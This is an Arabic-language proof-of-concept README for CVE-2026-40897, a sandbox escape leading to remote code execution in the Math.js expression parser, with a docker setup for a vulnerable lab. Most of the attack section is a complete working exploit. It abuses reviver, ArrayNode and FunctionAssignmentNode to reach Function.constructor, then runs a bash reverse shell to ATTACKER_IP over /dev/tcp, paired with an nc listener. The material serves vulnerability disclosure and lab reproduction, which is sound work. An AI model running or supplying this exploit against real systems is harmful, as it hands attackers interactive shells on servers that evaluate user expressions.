
Math.js محلل التعبيرات RCE
★ CVE-2026-40897 تنفيذ التعليمات البرمجية عن بعد في Math.js إثبات المفهوم ★
https://github.com/user-attachments/assets/8c394039-f00a-4875-991a-fb5f40bc6898
CVE-2026-40897 هو ثغرة تجاوز الصندوق الرملي تؤدي إلى تنفيذ التعليمات البرمجية عن بعد في محلل تعبيرات Math.js. يقوم مرشح
isSafePropertyبالتحقق فقط من الوصول إلى الخصائص من تعبيرات المستخدم، وليس من مسارات التعليمات البرمجية الداخلية. من خلال تسريب المصفوفة الداخلية لـArrayNodeعبرtoJSON()واستبدال.mapالخاص بها، يمكن للمهاجم إجبار التعليمات البرمجية الداخلية على الوصول إلىFunction.constructorوتنفيذ جافا سكريبت عشوائي.
| الفئة | الإصدار |
|---|---|
| ضعيف | Math.js 13.1.1 ≤ الإصدار ≤ 15.1.1 |
| مصحح | 15.2.0 |
docker build -t cve-2026-40897-mathjs-vuln .
docker run --rm -it -p 3000:3000 --name mathjs-vuln cve-2026-40897-mathjs-vuln
بعد تشغيل البيئة الضعيفة، اتبع الخطوات أدناه لإعادة إنتاج الهجوم.
nc -lvnp 4444
أرسل التعبير التالي إلى math.evaluate (على سبيل المثال، عبر إدخال الحساب في التطبيق).
array = reviver('',{'mathjs':'ArrayNode'}).toJSON()['items']
array.map = f(callback)=callback({'map':f2(callback2)=callback2({},'constructor'),'type':sum})
functionAssignmentNode = reviver('',{'mathjs':'FunctionAssignmentNode','name':'a','params':array,'expr':reviver('',{'mathjs':'ConstantNode'})})
func = functionAssignmentNode.toJSON()['params']['type']
shell = func('return process.mainModule.require("child_process").execSync("bash -c \'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\'").toString()')
shell()
يتصل الخادم الهدف مرة أخرى بمستمع المهاجم، مما يمنح شل باش تفاعلي.
math.evaluate()reviver وFunctionAssignmentNode وArrayNode) عبر محلل التعبيرات